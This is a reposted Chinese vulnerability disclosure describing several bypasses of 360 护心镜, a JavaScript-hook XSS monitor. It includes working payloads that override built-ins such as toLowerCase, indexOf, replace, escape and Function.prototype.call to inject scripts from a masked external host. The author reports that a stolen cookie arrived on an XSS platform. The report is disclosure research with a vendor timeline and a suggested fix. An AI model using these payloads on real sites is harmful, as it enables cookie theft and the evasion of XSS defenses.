神刀安全网

漏洞标题: 360护心镜XSS监控的几个绕过姿势

漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-13: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-08: 细节向核心白帽子及相关领域专家公开
2016-03-18: 细节向普通白帽子公开
2016-03-28: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

360护心镜是基于javascript hook机制实现的基于前端的xss防护,产品非常不错,性能也很好,但是还是有一些不足。

详细说明:

drops上发过:http://**.**.**.**/web/10636 ,发现护心镜针对出现的问题做出了相应的修复,但测试时仍然发现一些问题。

护心镜是基于Js Hook技术实现前端页面的监控,在拦截代码中使用了一个大的闭包,所以我们只能从全局变量入手进行绕过,在hxj.min.js最后发现了对一些函数的保护:

漏洞标题:  360护心镜XSS监控的几个绕过姿势

通过Object.defineProperty函数实现了保护,不能继续对这些受保护的函数对象进行劫持。

1、没有对toLowerCase保护

在Hook_Source模块中,主要针对外部源进行监控,在比较时执行如下逻辑:

漏洞标题:  360护心镜XSS监控的几个绕过姿势

漏洞标题:  360护心镜XSS监控的几个绕过姿势

都是通过toLowerCase进行转换,但是代码中没有对这个函数进行保护,所以通过劫持toLowerCase进行绕过。

(1)绕过代码:

code 区域
String.prototype.toLowerCase = function(e){
return 'shit' ;
};
var s = document.createElement('script') ;
s.src='http://**.**.**.**/R4p6BE2';
document.body.appendChild(s) ;

(2)测试URL(接下来的案例只给出代码):

code 区域
**.**.**.**/browser/test.php?t=";String.prototype.toLowerCase = function(e){return 'shit' ;};s=document.createElement('script');document.body.appendChild(s);s.src='http://**.**.**.**/R4p6BE2';//

护心镜没有发出告警,XSS平台上收到了cookie。

2、通过Check_domain函数绕过

漏洞标题:  360护心镜XSS监控的几个绕过姿势

对src进行验证的时候通过Check_domain来查看是否src中的URL属于配置过的白名单中的URL,进去看这个函数的逻辑:

漏洞标题:  360护心镜XSS监控的几个绕过姿势

代码中没有对indexOf和replace保护,所以存在如下两个绕过:

(1)劫持replace

测试代码:

code 区域
var _replace = String.prototype.replace ; 
String.prototype.replace = function(){
return "test" ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';

(2)劫持indexOf

Check_domain中对于chrome-extension://域进行了忽略,所以POC构造如下:

code 区域
var _indexof = String.prototype.indexOf ;
String.prototype.indexOf = function(val){
if(val == 'chrome-extension://'){return 0;}
return _indexof.call(arguments) ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';

3、XSSTest模块绕过

这个模块主要拦截一些alert, prompt等测试类型的XSS,也可以绕:

漏洞标题:  360护心镜XSS监控的几个绕过姿势

模块中对alert,confirm,prompt进行了重写,并且在call之前就进行告警操作,但是使用了escape进行编码,进入Report函数看看:

漏洞标题:  360护心镜XSS监控的几个绕过姿势

对参数e进行了判断,所以我们将escape重写,永远返回null就不会执行报警了。

code 区域
window.escape = function(){
return null ;
}
window.escape = function(){return null ;};
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';

4、劫持call花式绕过

在护心镜代码中,劫持的最后都是通过call调用原生接口,但是对apply/call本身并没有做对象保护,所以我们可以通过劫持call函数获取到原始接口,代码如下:

code 区域
var w=window;var d=document;
var _call = Function.prototype.call ;
Function.prototype.call = function(){
if(arguments.length == 0){return;}
if(this.name == 'createElement'){
if(!w._create){
w._create = this ;
}
}
if(this.name == 'setAttribute'){
if(!w._setAttribute){
w._setAttribute = this ;
}
}
return _call.apply(this, arguments) ;
}
s=d.createElement('img').src='/x';
s=_create.call(document, 'script');
Object.defineProperty(s, "src", {
get:function(){
return "chrome-extension://";
},
set:function(e){
_setAttribute.call(s, 'src', e);
}
});
s.src='http://**.**.**.**/browser/evil.js' ;
d.body.appendChild(s);

这里的trick就是调用原始接口_create绕过护心镜中对createElement的hook,并且将script元素的src设置set/get从而绕过Check_domain函数的检测。

漏洞证明:

见详细说明

修复方案:

执行完整的对象保护。

版权声明:转载请注明来源 隐形人真忙@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 360护心镜XSS监控的几个绕过姿势

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮